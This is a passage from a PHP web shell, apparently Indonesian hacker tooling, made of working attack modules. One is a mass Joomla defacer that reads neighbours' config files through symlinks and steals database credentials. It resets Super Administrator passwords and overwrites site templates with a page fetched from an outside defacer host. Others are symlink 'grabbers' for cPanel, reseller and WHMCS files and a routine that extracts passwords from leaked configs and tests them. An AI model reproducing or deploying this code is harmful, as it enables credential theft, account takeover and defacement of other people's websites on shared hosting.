5223 $dr=strlen ($final);
5224 if ($dr < $strlen) {
5225
5226 $filename = 'faltu.txt';
5227 $fp = fopen($filename, "a");
5228 $write = fputs($fp, $final);
5229 fclose($fp);
5230 }
5231 else {
5232 $filename = 'gold.txt';
5233 $fp = fopen($filename, "a");
5234 $write = fputs($fp, $final."
5235");
5236 fclose($fp);
5237 }
5238
5239 }
5240 //delete ajaira text files
5241 unlink ('bhung.txt');
5242 unlink ('faltu.txt');
5243 unlink ('lsla.txt');
5244 unlink ('sites.txt');
5245
5246 $h=file_get_contents('http://dmzone-defacer.tk/index.html');
5247 $url=($base_url);
5248 $a=file($base_url.'/gold.txt');
5249 echo ("<center><table border=1 cellspacing=1 cellpading=1>
5250 <tr> <th width=200>Domain User</th> <th width=250>Website Name</td><th width=100>CMS</td><th width=200>Status</td></tr>");
5251
5252 foreach ($a as $final) {
5253 list($user, $site_url) = explode(":", $final);
5254 $site_urlto = substr($site_url, 0, -1);
5255 $url2=($url."/sym/root/home/".$user."/public_html/configuration.php");
5256 $configs=file_get_contents($url2);
5257 $old=('$');
5258 $new=('hax0rsistz');
5259 $configfile = str_replace($old , $new , $configs);
5260 $username=entre2v2($configfile, "hax0rsistzuser = '","';");
5261 $password=entre2v2($configfile, "hax0rsistzpassword = '","';");
5262 $dbname=entre2v2($configfile, "hax0rsistzdb = '","';");
5263 $dbprefix=entre2v2($configfile, "hax0rsistzdbprefix = '","';");
5264
5265 $strlendbprefix= strlen ($dbprefix);
5266 if ($strlendbprefix > 2) {
5267 $link=mysql_connect("localhost",$username,$password) ;
5268
5269 mysql_select_db($dbname,$link) ;
5270
5271 $tryChaningInfo = mysql_query("UPDATE ".$dbprefix."users SET username ='Yabod1' , password = 'af9083d4b82dbc0745b124db3b3cf15d:M0WuLowO4rtRTddG' where usertype='Super Administrator'");
5272
5273 //checking pass change
5274 $reqpass=('af9083d4b82dbc0745b124db3b3cf15d:M0WuLowO4rtRTddG');
5275 $checkpass= mysql_query("SELECT password FROM ".$dbprefix."users where username='Yabod1'");
5276 $showpass=mysql_fetch_array ($checkpass);
5277 if ($showpass[0]== $reqpass) {
5278
5279 $filename = 'passchanged.txt';
5280 $fp = fopen($filename, "a+");
5281 $write = fputs($fp, $site_url."
5282");
5283 fclose($fp);
5284 //upto this alright
5285 $req =mysql_query("SELECT * from `".$dbprefix."extensions` ");
5286
5287
5288 $co=randomt();
5289
5290 if ( $req )
5291 {
5292
5293 $req =mysql_query("SELECT * from `".$dbprefix."template_styles` WHERE client_id='0' and home='1'");
5294 $data = mysql_fetch_array($req);
5295 $template_name=$data["template"];
5296
5297 $req =mysql_query("SELECT * from `".$dbprefix."extensions` WHERE name='".$template_name."'");
5298 $data = mysql_fetch_array($req);
5299 $template_id=$data["extension_id"];
5300
5301 $urlto=$site_urlto."/administrator/index.php";
5302
5303 $ch = curl_init();
5304 curl_setopt($ch, CURLOPT_URL, $urlto);
5305 curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
5306 curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
5307 curl_setopt($ch, CURLOPT_HEADER, 1);
5308 curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
5309 curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
5310 curl_setopt($ch, CURLOPT_COOKIEFILE, $co);
5311
5312
5313 $buffer = curl_exec($ch);
5314
5315 $return=entre2v2($buffer ,'<input type="hidden" name="return" value="','"');
5316 $hidden=entre2v2($buffer ,'<input type="hidden" name="','" value="1"',4);
5317
5318 ///////////////////////////
5319 $urlto=$site_urlto."/administrator/index.php";
5320 $ch = curl_init();
5321 curl_setopt($ch, CURLOPT_URL, $urlto);
5322 curl_setopt($ch, CURLOPT_POST, 1);
5323 curl_setopt($ch, CURLOPT_POSTFIELDS,"username=admin&passwd=1&option=com_login&task=login&return=".$return."&".$hidden."=1");
5324 curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
5325 curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
5326 curl_setopt($ch, CURLOPT_HEADER, 0);
5327 curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
5328 curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
5329 curl_setopt($ch, CURLOPT_COOKIEFILE, $co);
5330 $buffer = curl_exec($ch);
5331
5332 $pos = strpos($buffer,"com_config");
5333 if($pos === false) {
5334
5335 }
5336 else {
5337 }
5338 ///////////////////////////
5339 $urlto=$site_urlto."/administrator/index.php?option=com_templates&task=source.edit&id=".base64_encode($template_id.":index.php");
5340 $ch = curl_init();
5341 curl_setopt($ch, CURLOPT_URL, $urlto);
5342 curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
5343 curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
5344 curl_setopt($ch, CURLOPT_HEADER, 0);
5345 curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
5346 curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
5347 curl_setopt($ch, CURLOPT_COOKIEFILE, $co);
5348 $buffer = curl_exec($ch);
5349
5350 $hidden2=entre2v2($buffer ,'<input type="hidden" name="','" value="1"',2);
5351 if($hidden2) {
5352 }
5353 else {
5354
5355 }
5356 $urlto=$site_urlto."/administrator/index.php?option=com_templates&layout=edit";
5357
5358 $ch = curl_init();
5359 curl_setopt($ch, CURLOPT_URL, $urlto);
5360 curl_setopt($ch, CURLOPT_POST, 1);
5361 curl_setopt($ch, CURLOPT_POSTFIELDS,"jform[source]=".$h."&jform[filename]=index.php&jform[extension_id]=".$template_id."&".$hidden2."=1&task=source.save");
5362
5363 curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
5364 curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
5365 curl_setopt($ch, CURLOPT_HEADER, 0);
5366 curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
5367 curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
5368 curl_setopt($ch, CURLOPT_COOKIEFILE, $co);
5369 $buffer = curl_exec($ch);
5370
5371 $pos = strpos($buffer,'<dd class="message message">');
5372 if($pos === false) {
5373 echo "<center><table border=1 cellspacing=1 cellpading=1>
5374 <tr><td width=200><font color=green> $user</font></td><td width=250><font color=green> $site_url<font></td><td width=100><font color=green> Joomla</font></td><td width=200><font color=red> Failed </font></td></tr></table></center>";
5375 }
5376 else {
5377 $deftempurl=("http://".$site_urlto."/templates/".$template_name."/index.php");
5378 $filename = 'deftemp.txt';
5379 $fp = fopen($filename, "a+");
5380 $write = fputs($fp, $deftempurl."
5381");
5382 fclose($fp);
5383
5384 echo "<center><table border=1 cellspacing=1 cellpading=1>
5385 <tr><td width=200><font color=green> $user</font></td><td width=250><font color=green> $site_url<font></td><td width=100><font color=green> Joomla</font></td><td width=200><font color=green> Defaced </font></td></tr></table></center>";
5386
5387
5388 }
5389
5390 }
5391
5392 else
5393 {
5394
5395 $req =mysql_query("SELECT * from `".$dbprefix."templates_menu` WHERE client_id='0'");
5396 $data = mysql_fetch_array($req);
5397 $template_name=$data["template"];
5398
5399 $urlto=$site_urlto."/administrator/index.php";
5400 $ch = curl_init();
5401 curl_setopt($ch, CURLOPT_URL, $urlto);
5402 curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
5403 curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
5404 curl_setopt($ch, CURLOPT_HEADER, 1);
5405 curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
5406 curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
5407 curl_setopt($ch, CURLOPT_COOKIEFILE, $co);
5408 $buffer = curl_exec($ch);
5409
5410 $hidden=entre2v2($buffer ,'<input type="hidden" name="','" value="1"',3);
5411
5412 $urlto=$site_urlto."/administrator/index.php";
5413 $ch = curl_init();
5414 curl_setopt($ch, CURLOPT_URL, $urlto);
5415 curl_setopt($ch, CURLOPT_POST, 1);
5416 curl_setopt($ch, CURLOPT_POSTFIELDS,"username=admin&passwd=1&option=com_login&task=login&".$hidden."=1");
5417 curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
5418 curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
5419 curl_setopt($ch, CURLOPT_HEADER, 0);
5420 curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
5421 curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
5422 curl_setopt($ch, CURLOPT_COOKIEFILE, $co);
5423 $buffer = curl_exec($ch);
5424
5425 $pos = strpos($buffer,"com_config");
5426
5427 if($pos === false) {
5428
5429 }
5430 else {
5431 }
5432 $urlto=$site_urlto."/administrator/index.php?option=com_templates&task=edit_source&client=0&id=".$template_name;
5433 $ch = curl_init();
5434 curl_setopt($ch, CURLOPT_URL, $urlto);
5435 curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
5436 curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
5437 curl_setopt($ch, CURLOPT_HEADER, 0);
5438 curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
5439 curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
5440 curl_setopt($ch, CURLOPT_COOKIEFILE, $co);
5441 $buffer = curl_exec($ch);
5442
5443 $hidden2=entre2v2($buffer ,'<input type="hidden" name="','" value="1"',6);
5444
5445 if($hidden2) {
5446
5447 }
5448 else {
5449
5450 }
5451
5452
5453 $urlto=$site_urlto."/administrator/index.php?option=com_templates&layout=edit";
5454 $ch = curl_init();
5455 curl_setopt($ch, CURLOPT_URL, $urlto);
5456 curl_setopt($ch, CURLOPT_POST, 1);
5457 curl_setopt($ch, CURLOPT_POSTFIELDS,"filecontent=".$h."&id=".$template_name."&cid[]=".$template_name."&".$hidden2."=1&task=save_source&client=0");
5458 curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
5459 curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
5460 curl_setopt($ch, CURLOPT_HEADER, 0);
5461 curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
5462 curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
5463 curl_setopt($ch, CURLOPT_COOKIEFILE, $co);
5464 $buffer = curl_exec($ch);
5465
5466 $pos = strpos($buffer,'<dd class="message message fade">');
5467 if($pos === false) {
5468 echo "<center><table border=1 cellspacing=1 cellpading=1>
5469 <tr><td width=200><font color=green> $user</font></td><td width=250><font color=green> $site_url<font></td><td width=100><font color=green> Joomla</font></td><td width=200><font color=red> Failed </font></td></tr></table></center>";
5470 }
5471 else {
5472 $deftempurl=("http://".$site_urlto."/templates/".$template_name."/index.php");
5473 $filename = 'deftemp.txt';
5474 $fp = fopen($filename, "a+");
5475 $write = fputs($fp, $deftempurl."
5476");
5477 fclose($fp);
5478
5479 echo "<center><table border=1 cellspacing=1 cellpading=1>
5480 <tr><td width=200><font color=green> $user</font></td><td width=250><font color=green> $site_url<font></td><td width=100><font color=green> Joomla</font></td><td width=200><font color=green> Defaced </font></td></tr></table></center>";
5481
5482
5483 }
5484
5485 }
5486
5487
5488 //upto this alright
5489
5490
5491
5492
5493
5494
5495
5496
5497 }
5498 else {
5499 }
5500 }
5501 else {
5502 }
5503 }
5504
5505 $cntpasschanged=file('passchanged.txt');
5506 $countpasschanged= count ($cntpasschanged);
5507
5508
5509
5510 echo("<br>");
5511 $defacedurl=('<a href="deftemp.txt" target="_blank">View List of Defaced Site</a><br />');
5512 $passchangedurl=('<a href="passchanged.txt" target="_blank">View List of Password Changed site</a><br />');
5513 echo "<center><table border=1 cellspacing=1 cellpading=1>
5514 <td width=300><font color=green> $defacedurl</font></td><td width=300><font color=green> $passchangedurl </font></td></tr></table></center>";
5515
5516
5517
5518 //declaring function entre2v2
5519 function entre2v2($text,$marqueurDebutLien,$marqueurFinLien,$i=1){
5520 $ar0=explode($marqueurDebutLien, $text);
5521 $ar1=explode($marqueurFinLien, $ar0[$i]);
5522 return trim($ar1[0]);
5523 }
5524
5525 function randomt() {
5526
5527 $chars = "abcdefghijkmnopqrstuvwxyz023456789";
5528 srand((double)microtime()*1000000);
5529 $i = 0;
5530 $pass = '' ;
5531
5532 while ($i <= 7) {
5533 $num = rand() % 33;
5534 $tmp = substr($chars, $num, 1);
5535 $pass = $pass . $tmp;
5536 $i++;
5537 }
5538
5539 return $pass;
5540}
5541?>
5542
5543<?php
5544}
5545# x=reseller
5546elseif (isset($_GET['x']) && ($_GET['x'] == 'reseller')) { ?>
5547<form action="?dm=<?php echo $pwd; ?>&x=reseller" method="post">
5548
5549
5550 <?php
5551 echo '<br><br><body bgcolor=black><center>
5552<img src="http://www.nextgenhost.net/icons/logo-cpanel-whm.png"><br/><br/>
5553<nobr><b><span class="b7">O=:[ CPANEL GRABBER ]:=O</nobr></span><br/><br/>
5554<form method="POST">
5555<center>
5556<textarea style="color:blue;background-color:#000000" cols="60" name="passwd" rows="20">';
5557 $uSr = file("/etc/passwd");
5558 foreach ($uSr as $usrr) {
5559 $str = explode(":", $usrr);
5560 echo $str[0] . "
5561";
5562 }
5563?></textarea><p>
5564<nobr><font style="color:blue;background-color:#000000">
5565[~] Home :
5566<select style="color:blue;background-color:#000000" title="Select Target Home" name="home" size="10">
5567<option title="home" value="home">home</option>
5568<option title="home2" value="home2">home2</option>
5569<option title="home3" value="home3">home3</option>
5570<option title="home4" value="home4">home4</option>
5571<option title="home5" value="home5">home5</option>
5572<option title="home6" value="home6">home6</option>
5573<option title="home7" value="home7">home7</option>
5574<option title="home8" value="home8">home8</option>
5575<option title="home9" value="home9">home9</option>
5576<option title="home10" value="home10">home10</option>
5577</select> [~] Htaccess :
5578<select style="color:blue;background-color:#000000" title="Select Software" name="soft" size="10">
5579<option title="Apache" value="Options all
5580Options +Indexes
5581Options +FollowSymLinks
5582DirectoryIndex Sux.html
5583AddType text/plain .php
5584AddHandler server-parsed .php
5585AddType text/plain .html
5586AddHandler txt .html
5587Require None
5588Satisfy Any">Apache</option>
5589<option title="Litespeed" value="
5590Options +FollowSymLinks
5591DirectoryIndex seees.html
5592RemoveHandler .php
5593AddType application/octet-stream .php ">Litespeed</option>
5594
5595</select> <input style="color:blue;background-color:#000000" name="anu" size="10"
5596 value="<< START SCAN >>" type="submit">
5597<br/><br/></form></center>
5598
5599 <?php
5600 @ini_set('html_errors', 0);
5601 @ini_set('max_execution_time', 0);
5602 @ini_set('display_errors', 0);
5603 @ini_set('file_uploads', 1);
5604 if ($_POST['anu']) {
5605 $path = $_POST['path'];
5606 $home = $_POST['home'];
5607 $functions = @ini_get("disable_functions");
5608 if (eregi("symlink", $functions)) {
5609 die('Kurang Ganteng Cok');
5610 }
5611 @mkdir(RESELLER, 0755);
5612 @chdir(RESELLER);
5613 $htaccess = $_POST['soft'];
5614 file_put_contents(".htaccess", $htaccess, FILE_APPEND);
5615 $passwd = explode("
5616", $_POST["passwd"]);
5617 foreach ($passwd as $pwd) {
5618 $user = trim($pwd);
5619 @symlink('/' . $home . '/' . $user . '/public_html/moving.page/index.html', $user . ' <~ RESELLER1');
5620 @symlink('/' . $home . '/' . $user . '/public_html/suspended.page/index.html', $user . ' <~ RESELLER2');
5621 }
5622 echo '<center>
5623<font face="Audiowide" size="5" style="color:blue;background-color:#000000">
5624<img src="http://www.komunitas.for-indonesia.com/images/smiley/piss.gif"><br/>
5625Scanning Complete....<br/>
5626Now Checking Folder Result....<br/><br/><br/>
5627<a href="/RESELLER">O=[ GO TO HELL ]=O</a>
5628</font>
5629<br/><br/><br/></center> </body></html> ';
5630 }
5631?>
5632
5633<?php
5634}
5635# x=dmwhmcs11
5636elseif (isset($_GET['x']) && ($_GET['x'] == 'dmwhmcs11')) { ?>
5637<form action="?dm=<?php echo $pwd; ?>&x=dmwhmcs11" method="post">
5638
5639<?php
5640 echo '<br><br><body bgcolor=black><center>
5641<img src="http://ben90.com/wp-content/uploads/2009/07/whmcs-logo.gif"><br/><br/>
5642<nobr><span class="b7">O=:[ SCAN CMS WHMCS ]:=O</nobr></span><br/><br/>
5643<form method="POST">
5644<center>
5645<textarea style="color:blue;background-color:#000000" cols="60" name="passwd" rows="20">';
5646 $uSr = file("/etc/passwd");
5647 foreach ($uSr as $usrr) {
5648 $str = explode(":", $usrr);
5649 echo $str[0] . "
5650";
5651 }
5652?></textarea><p>
5653<nobr><font style="color:blue;background-color:#000000">
5654[~] Home :
5655<select style="color:blue;background-color:#000000" title="Select Target Home" name="home" size="10">
5656<option title="home" value="home">home</option>
5657<option title="home2" value="home2">home2</option>
5658<option title="home3" value="home3">home3</option>
5659<option title="home4" value="home4">home4</option>
5660<option title="home5" value="home5">home5</option>
5661<option title="home6" value="home6">home6</option>
5662<option title="home7" value="home7">home7</option>
5663<option title="home8" value="home8">home8</option>
5664<option title="home9" value="home9">home9</option>
5665<option title="home10" value="home10">home10</option>
5666</select> [~] Htaccess :
5667<select style="color:blue;background-color:#000000" title="Select Software" name="soft" size="10">
5668<option title="Apache" value="Options all
5669Options +Indexes
5670Options +FollowSymLinks
5671DirectoryIndex Sux.html
5672AddType text/plain .php
5673AddHandler server-parsed .php
5674AddType text/plain .html
5675AddHandler txt .html
5676Require None
5677Satisfy Any">Apache</option>
5678<option title="Litespeed" value="
5679Options +FollowSymLinks
5680DirectoryIndex seees.html
5681RemoveHandler .php
5682AddType application/octet-stream .php ">Litespeed</option>
5683
5684</select> <input style="color:blue;background-color:#000000" name="anu" size="10"
5685 value="<< START SCAN >>" type="submit">
5686<br/><br/></form></center>
5687
5688 <?php
5689 @ini_set('html_errors', 0);
5690 @ini_set('max_execution_time', 0);
5691 @ini_set('display_errors', 0);
5692 @ini_set('file_uploads', 1);
5693 if ($_POST['anu']) {
5694 $path = $_POST['path'];
5695 $home = $_POST['home'];
5696 $functions = @ini_get("disable_functions");
5697 if (eregi("symlink", $functions)) {
5698 die('Kurang Ganteng Cok');
5699 }
5700 @mkdir(WHMCS, 0755);
5701 @chdir(WHMCS);
5702 $htaccess = $_POST['soft'];
5703 file_put_contents(".htaccess", $htaccess, FILE_APPEND);
5704 $passwd = explode("
5705", $_POST["passwd"]);
5706 foreach ($passwd as $pwd) {
5707 $user = trim($pwd);
5708 @symlink('/' . $home . '/' . $user . '/public_html/suspended.page/index.html', $user . ' <~ RESELLER');
5709 @symlink('/' . $home . '/' . $user . '/public_html/modules/registrars/', $user . ' <~ WHMCS-1');
5710 @symlink('/' . $home . '/' . $user . '/public_html/account/modules/registrars/', $user . ' <~ WHMCS-2');
5711 @symlink('/' . $home . '/' . $user . '/public_html/accounts/modules/registrars/', $user . ' <~ WHMCS-3');
5712 @symlink('/' . $home . '/' . $user . '/public_html/central/modules/registrars/', $user . ' <~ WHMCS-4');
5713 @symlink('/' . $home . '/' . $user . '/public_html/clienti/modules/registrars/', $user . ' <~ WHMCS-5');
5714 @symlink('/' . $home . '/' . $user . '/public_html/client/modules/registrars/', $user . ' <~ WHMCS-6');
5715 @symlink('/' . $home . '/' . $user . '/public_html/cliente/modules/registrars/', $user . ' <~ WHMCS-7');
5716 @symlink('/' . $home . '/' . $user . '/public_html/clientes/modules/registrars/', $user . ' <~ WHMCS-8');
5717 @symlink('/' . $home . '/' . $user . '/public_html/clients/modules/registrars/', $user . ' <~ WHMCS-9');
5718 @symlink('/' . $home . '/' . $user . '/public_html/clientarea/modules/registrars/', $user . ' <~ WHMCS-9');
5719 @symlink('/' . $home . '/' . $user . '/public_html/clientsarea/modules/registrars/', $user . ' <~ WHMCS-10');
5720 @symlink('/' . $home . '/' . $user . '/public_html/client-area/modules/registrars/', $user . ' <~ WHMCS-11');
5721 @symlink('/' . $home . '/' . $user . '/public_html/clients-area/modules/registrars/', $user . ' <~ WHMCS-12');
5722 @symlink('/' . $home . '/' . $user . '/public_html/clientzone/modules/registrars/', $user . ' <~ WHMCS-13');
5723 @symlink('/' . $home . '/' . $user . '/public_html/client-zone/modules/registrars/', $user . ' <~ WHMCS-14');
5724 @symlink('/' . $home . '/' . $user . '/public_html/core/modules/registrars/', $user . ' <~ WHMCS-15');
5725 @symlink('/' . $home . '/' . $user . '/public_html/company/modules/registrars/', $user . ' <~ WHMCS-16');
5726 @symlink('/' . $home . '/' . $user . '/public_html/customer/modules/registrars/', $user . ' <~ WHMCS-17');
5727 @symlink('/' . $home . '/' . $user . '/public_html/customers/modules/registrars/', $user . ' <~ WHMCS-18');
5728 @symlink('/' . $home . '/' . $user . '/public_html/bill/modules/registrars/', $user . ' <~ WHMCS-19');
5729 @symlink('/' . $home . '/' . $user . '/public_html/billing/modules/registrars/', $user . ' <~ WHMCS-20');
5730 @symlink('/' . $home . '/' . $user . '/public_html/finance/modules/registrars/', $user . ' <~ WHMCS-21');
5731 @symlink('/' . $home . '/' . $user . '/public_html/financeiro/modules/registrars/', $user . ' <~ WHMCS-22');
5732 @symlink('/' . $home . '/' . $user . '/public_html/host/modules/registrars/', $user . ' <~ WHMCS-23');
5733 @symlink('/' . $home . '/' . $user . '/public_html/hosts/modules/registrars/', $user . ' <~ WHMCS-24');
5734 @symlink('/' . $home . '/' . $user . '/public_html/hosting/modules/registrars/', $user . ' <~ WHMCS-25');
5735 @symlink('/' . $home . '/' . $user . '/public_html/hostings/modules/registrars/', $user . ' <~ WHMCS' - 26);
5736 @symlink('/' . $home . '/' . $user . '/public_html/klien/modules/registrars/', $user . ' <~ WHMCS-27');
5737 @symlink('/' . $home . '/' . $user . '/public_html/manage/modules/registrars/', $user . ' <~ WHMCS-28');
5738 @symlink('/' . $home . '/' . $user . '/public_html/manager/modules/registrars/', $user . ' <~ WHMCS-29');
5739 @symlink('/' . $home . '/' . $user . '/public_html/member/modules/registrars/', $user . ' <~ WHMCS-30');
5740 @symlink('/' . $home . '/' . $user . '/public_html/members/modules/registrars/', $user . ' <~ WHMCS-31');
5741 @symlink('/' . $home . '/' . $user . '/public_html/my/modules/registrars/', $user . ' <~ WHMCS-32');
5742 @symlink('/' . $home . '/' . $user . '/public_html/myaccount/modules/registrars/', $user . ' <~ WHMCS-33');
5743 @symlink('/' . $home . '/' . $user . '/public_html/my-account/client/modules/registrars/', $user . ' <~ WHMCS-34');
5744 @symlink('/' . $home . '/' . $user . '/public_html/myaccounts/modules/registrars/', $user . ' <~ WHMCS-35');
5745 @symlink('/' . $home . '/' . $user . '/public_html/my-accounts/modules/registrars/', $user . ' <~ WHMCS-36');
5746 @symlink('/' . $home . '/' . $user . '/public_html/order/modules/registrars/', $user . ' <~ WHMCS-37');
5747 @symlink('/' . $home . '/' . $user . '/public_html/orders/modules/registrars/', $user . ' <~ WHMCS-38');
5748 @symlink('/' . $home . '/' . $user . '/public_html/painel/modules/registrars/', $user . ' <~ WHMCS-39');
5749 @symlink('/' . $home . '/' . $user . '/public_html/panel/modules/registrars/', $user . ' <~ WHMCS-40');
5750 @symlink('/' . $home . '/' . $user . '/public_html/panels/modules/registrars/', $user . ' <~ WHMCS-41');
5751 @symlink('/' . $home . '/' . $user . '/public_html/portal/modules/registrars/', $user . ' <~ WHMCS-42');
5752 @symlink('/' . $home . '/' . $user . '/public_html/portals/modules/registrars/', $user . ' <~ WHMCS-43');
5753 @symlink('/' . $home . '/' . $user . '/public_html/secure/modules/registrars/', $user . ' <~ WHMCS-44');
5754 @symlink('/' . $home . '/' . $user . '/public_html/support/modules/registrars/', $user . ' <~ WHMCS-45');
5755 @symlink('/' . $home . '/' . $user . '/public_html/supporte/modules/registrars/', $user . ' <~ WHMCS-46');
5756 @symlink('/' . $home . '/' . $user . '/public_html/supports/modules/registrars/', $user . ' <~ WHMCS-47');
5757 @symlink('/' . $home . '/' . $user . '/public_html/web/modules/registrars/', $user . ' <~ WHMCS-48');
5758 @symlink('/' . $home . '/' . $user . '/public_html/webhost/modules/registrars/', $user . ' <~ WHMCS-49');
5759 @symlink('/' . $home . '/' . $user . '/public_html/webhosting/modules/registrars/', $user . ' <~ WHMCS-50');
5760 @symlink('/' . $home . '/' . $user . '/public_html/whm/modules/registrars/', $user . ' <~ WHMCS-51');
5761 @symlink('/' . $home . '/' . $user . '/public_html/whmcs/modules/registrars/', $user . ' <~ WHMCS-52');
5762 @symlink('/' . $home . '/' . $user . '/public_html/whmcs2/modules/registrars/', $user . ' <~ WHMCS-53');
5763 @symlink('/' . $home . '/' . $user . '/public_html/Whm/modules/registrars/', $user . ' <~ WHMCS-54');
5764 @symlink('/' . $home . '/' . $user . '/public_html/Whmcs/modules/registrars/', $user . ' <~ WHMCS-55');
5765 @symlink('/' . $home . '/' . $user . '/public_html/WHM/modules/registrars/', $user . ' <~ WHMCS-56');
5766 @symlink('/' . $home . '/' . $user . '/public_html/WHMCS/modules/registrars/', $user . ' <~ WHMCS-57');
5767 }
5768 echo '<hr color="#00bfff"><center>
5769<font face="Audiowide" size="5" style="color:blue;background-color:#000000">
5770<img src="http://www.komunitas.for-indonesia.com/images/smiley/piss.gif"><br/>
5771Scanning Complete....<br/>
5772Now Checking Folder Result....<br/><br/><br/>
5773<a href="/WHMCS">O=[ GO TO HELL ]=O</a>
5774</font>
5775<br/><br/><br/></center> </body></html> ';
5776 }
5777?>
5778
5779<?php
5780}
5781# x=cp3
5782elseif (isset($_GET['x']) && ($_GET['x'] == 'cp3')) {
5783?>
5784<form action="?dm=<?php echo $pwd; ?>&x=cp3" method="post">
5785
5786<?php
5787 set_time_limit(0);
5788 error_reporting(0);
5789 if (isset($_POST['url'])) {
5790 $url = $_POST['url'];
5791 } else {
5792 $url = 'http://';
5793 }
5794 echo '<center><br/><br/><nobr><span class="b7">O=:[ CPANEL</span> <span class="b8">GRABBER ]:=O</nobr><br/><br/>
5795<form method="POST">
5796<input name="url" style="color:#FF0000;background-color:#000000" type="text" value="' . $url . '" size="40"/><br/>
5797<p><input type="submit" style="color:#FF0000;background-color:#000000" value="--:[ CROTZ ]:--"/>
5798</form><br/><br/>';
5799 if (isset($_POST['url'])) {
5800 if (!file_get_contents($url)) {
5801 echo '--:[ ERROR BRAY ]:--';
5802 } else {
5803 $a = 0;
5804 foreach (get_data($url) as $info) {
5805 if (login($info[0], $info[1])) {
5806 echo "<b style=' color: #808080 ; text-shadow:0px 0px 1px #808080 ;'>-:[ USERNAME & PASSWORD ]:-</b> <b style=' color: #0000FF ; text-shadow:0px 0px 1px #0000FF ;'>[$info[0]]</b> <b style=' color: #CC0000; text-shadow:0px 0px 1px #CC0000;'>[$info[1]]</b><br />";
5807 $a++;
5808 }
5809 }
5810 echo "<b style=' color: #808080 ; text-shadow:0px 0px 1px #808080 ;'><hr> *SUKSES ^_^ || $a CPANEL FOUNDED*<br />";
5811 }
5812 }
5813 echo '<br/><div align="center"><font color="blue" face="Verdana" size="3">--=|[+] Sh4d0w4rT [+]|=--</font></div>
5814</body>
5815</html>';
5816 function ex($a, $b, $text) {
5817 $explode = explode($a, $text);
5818 $explode = explode($b, $explode[1]);
5819 return $explode[0];
5820 }
5821 function login($user, $pass) {
5822 $c = @mysql_connect('localhost', $user, $pass);
5823 if ($c) {
5824 mysql_close($c);
5825 return true;
5826 } else {
5827 return false;
5828 }
5829 }
5830 function get_data($url) {
5831 $ar = array('1.txt', '2.txt', '3.txt', '4.txt', '5.txt', '6.txt', '7.txt', '8.txt', '9.txt', '10.txt', '11.txt', '12.txt', '13.txt', '14txt', '15.txt', '16.txt', '17.txt', '18.txt', '19.txt', '20.txt', '21.txt', '22.txt', '23.txt', '24.txt', '25.txt', '26.txt', '27.txt', '28.txt', '29.txt', '30.txt', '31.txt', '32.txt', '33.txt', '34.txt', '35.txt', '36.txt', '37.txt', '38.txt', '39.txt', '40.txt', '41.txt', '42.txt', '43.txt', '44.txt', '45.txt', '46.txt', '47.txt', '48.txt', '49.txt', '50.txt');
5832 $src = file_get_contents($url);
5833 $files = explode('<a href="', $src);
5834 $data = array();
5835 foreach ($files as $id => $file) {
5836 if ($id == 0) {
5837 continue;
5838 }
5839 $file = explode('">', $file);
5840 $file = trim($file[0]);
5841 if (!eregi('.txt', $file)) {
5842 continue;
5843 }
5844 $src = file_get_contents("$url/$file");
5845 if (!$src) {
5846 continue;
5847 }
5848 $user = str_replace($ar, '', $file);
5849 $user = str_replace($ar, '', $user . '.txt');
5850 $user = str_replace($ar, '', $user . '.txt');
5851 $user = trim(str_replace('.txt', '', $user));
5852 if (eregi("WordPress", $src)) {
5853 $pass = ex("define('DB_PASSWORD', '", "');", $src);
5854 $data[] = array($user, $pass);
5855 } else {
5856 $tokens = token_get_all($src);
5857 foreach ($tokens as $token) {
5858 if (!$token[1]) {
5859 continue;
5860 }
5861 $tokenname = token_name($token[0]);
5862 if ($tokenname != 'T_VARIABLE') {
5863 continue;
5864 }
5865 $var = $token[1];
5866 if (eregi('pass', $var)) {
5867 $f = str_replace(' ', '', ex($var, ';', $src));
5868 $a = trim(ex("='", "'", $f));
5869 $b = trim(ex('"', '"', $f));
5870 if ($a != '') {
5871 $pass = $a;
5872 } elseif ($b != '') {
5873 $pass = $b;
5874 }
5875 if ($pass == '') {
5876 continue;
5877 }
5878 $data[] = array($user, $pass);
5879 }
5880 }
5881 }
5882 }
5883 return $data;
5884 };
5885 return;
